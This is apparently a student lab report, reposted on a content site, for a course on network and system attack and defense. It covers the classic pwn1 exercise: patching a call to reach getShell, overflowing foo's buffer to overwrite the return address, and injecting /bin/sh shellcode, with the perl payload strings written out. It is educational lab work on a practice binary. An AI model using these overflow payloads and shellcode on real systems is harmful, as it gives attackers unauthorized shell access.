20222412 2024-2025-1 《网络与系统攻防技术》实验一实验报告

news/2024/10/6 18:12:35

1.实验内容

本周学习内容

1.熟悉基本的汇编语言指令及其功能。
2.掌握了栈与堆的概念及其在进程内存管理中的应用以及用户态与内核态的区别。
3.熟练运用了Linux系统下的基本操作命令。

实验任务

1.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
2.利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
3.注入一个自己制作的shellcode并运行这段shellcode。

2.实验过程

任务一 直接修改程序机器指令,改变程序执行流程

下载目标文件pwn1,然后上传至kali,并将其重命名为pwn20222405。

使用命令objdump -d pwn20222405 | more对文件pwn20222405进行反汇编。

找到getShell、foo、main的部分。

从这里可以看到main函数是调用foo的,对应机器指令为e8 d7ffffff,e8是跳转的意思。

如果想让它调用getShell,只要修改d7ffffff为“getShell-80484ba”对应的补码即可,经过计算得到补码c3ffffff。

输入命令vi pwn20222405进行编辑,接着输入:%!xxd将显示模式切换为16进制模式,并查找要修改的内容。

将其中的call指令的目标地址由d7ffffff变为c3ffffff。

输入:%!xxd -r转换16进制为原格式,:wq保存修改。

再反汇编看一下,call指令是否正确调用getShell。

这次call指令可以正确调用getShell了。

看一下原始的pwn1的功能。

只是简单的回显任何用户输入的字符串。

再看一下修改后的功能。

可以正常执行用户输入的命令了。

任务二 通过构造输入参数,造成BOF攻击,改变程序执行流

使用命令cp pwn20222405 pwn20222405_BOF复制一份文件来实现该任务。

foo函数只预留了56字节的缓冲区,有Buffer overflow漏洞,超出部分会造成溢出,我们的目标是覆盖返回地址,触发getShell函数。

使用sudo apt updatesudo apt install gdb命令安装gdb。

接下来确认输入字符串哪几个字符会覆盖到返回地址。

启动gdb,输入1111111122222222333333334444444412345678,使用info r查看EIP寄存器中的数据。

eip中存的地址变成了 0x34333231,也就是4321。

因为无法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以先使用命令perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input生成包括这样字符串的文件,
再使用16进制查看指令xxd input查看文件的内容。

然后将input的输入,通过管道符“|”,作为pwn20222405_BOF的输入。

这时执行的功能是getShell函数的功能,输入命令ls,成功调用了getShell函数来执行命令。

任务三 注入Shellcode并执行

首先修改堆栈设置,但我发现我没有安装execstack,于是先使用命令sudo dpkg -i execstack_0.0.20131005-1+b10_amd64.deb安装此工具。

接下来修改堆栈设置。

构造要注入的payload:perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

打开终端注入攻击buf:

打开另外一个终端,用gdb来调试pwn20222405_BOF。

先看一下pwn20222405_BOF的进程号。

启动gdb调试这个进程。

通过设置断点,来查看注入buf的内存地址.

在另外一个终端中按下回车。

和0x01020304挨着的就是我们所要寻找的返回地址的位置,即0xffffcee0,需要改为perl -e 'print "A" x 32;print "\xe0\xce\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

最后编译运行,任务成功!

3.问题及解决方案

问题1:在任务一中,使用/e8d7查找要修改的内容失败。

问题1解决方案:在/e8d7中间加上空格,使用/e8 d7来进行查找即可。

问题2:系统显示缺少gdb

问题2解决方案:

输入命令sudo apt-get updatesudo apt install gdb即可。

问题3:系统报错Clearsigned file isn't valid, got 'NOSPLIT' (does the network require authentication?)

问题3解决方案:这个报错在网上很难找到解决方案,经过我长时间的努力,发现是校园网的问题,虽然主机登录认证过了,但kali里面并未认证,所以会报错,切换成个人热点即可解决。

问题4:系统显示execstack未安装

问题4解决方案:根据网上的办法输入命令apt-get install execstack但并未成功,即使换了源也显示找不到。于是我在网上直接找的安装包,上传到虚拟机,输入命令sudo dpkg -i execstack_0.0.20131005-1+b10_amd64.deb即可成功安装。

4.学习感悟、思考等

本次实验是我的第一次网络与系统攻防技术实验,刚看到实验内容的时候感到无从下手,这是一个陌生且复杂的挑战,开始做的时候感觉很困难,什么也不会做,而且每做一点就会遇到新的问题,我花了很长很长时间在网上查找资料和解决方法。但是在这个过程中,我的解决问题的能力得到了巨大提升,对于知识点的了解也更加深刻。通过这次实验,我对汇编语言、堆栈以及缓冲区溢出等知识有了更深入的了解,在实验成功后我也获得了满满的成就感,对于Linux系统的操作也更加熟练了,我觉得这次实验很有趣,也收获了很多,就是有点累,但这些努力和付出我觉得都是值得的,希望以后能学到更多有趣的知识。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/68393.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

序列化器中拿到request

class UpdateMobileSerializer(serializers.ModelSerializer):old = serializers.CharField(write_only=True, validators=[RegexValidator(r"\d{11}", message="格式错误")])mobile = serializers.CharField(write_only=True, validators=[RegexValidator…

面相快速入门教程4五行与面相

4 五行与面相 现在,你进入了旅程中最重要的部分。在这里,你将学习到这些智慧所依据的原则,然后深入了解五种元素或原型的特质,它们在你的脸上闪耀着光芒。五种不同的元素各有两幅肖像样本,每种元素又各有两章。在第一章中,你将探索该性格的总体概况,了解它在你生活中的广…

0923人工智能教育技术学

任务一 (1)水印的功能: 1.版权保护:水印可以用来标识内容的创建者或所有者,从而防止未经授权的复制或分发。 2.身份验证:水印可以用于验证数字内容的真实性和完整性,确保内容在传输过程中没有被篡改。 3.广告和推广:水印可以作为一种低成本的广告手段,增加品牌曝光度。…

『模拟赛』CSP-S模拟9

『模拟赛记录』CSP-S模拟9Rank 烂,知耻而后勇A. 邻面合并 签。 注意到列数 \(m\le 8\),我们可以直接先搜出每一行可能的“分块”情况,然后转移时枚举上一行的所有状态和这一行的所有状态,根据拼接情况来更新答案,最终答案即为 \(n\) 行所有情况的最小值。 赛时开始打的错解…

VC++ 6.0的安装及使用

1. 安装 双击运行程序vc6_cn_full.exe进行安装如果需要更改安装目录,选择浏览进行安装地址的修改,否则点击下一步程序第一次启动会弹出提示框,可去掉“启动时显示提示”选项框,下一次就不会弹出该提示框2. 一个简单的demo初学者建议选择“一个空程序”去创建控制台程序选择…

2024-2025 1 20241306第二周作业总结

学期2024-2025-1 学号:20241306 《计算机基础与程序设计》第2周学习总结 作业信息这个作业属于哪个课程 <班级的链接>(如2024-2025-1-计算机基础与程序设计)这个作业要求在哪里 <作业要求的链接>(如2024-2025-1计算机基础与程序设计第2周作业)这个作业的目标 学…

网红狗头来深圳了,上图上图

在海雅缤纷城,晚上7点开摆摊,9点结束,10月7日结束。昨天带了变焦xf18-120mm镜头。和75mm1.2f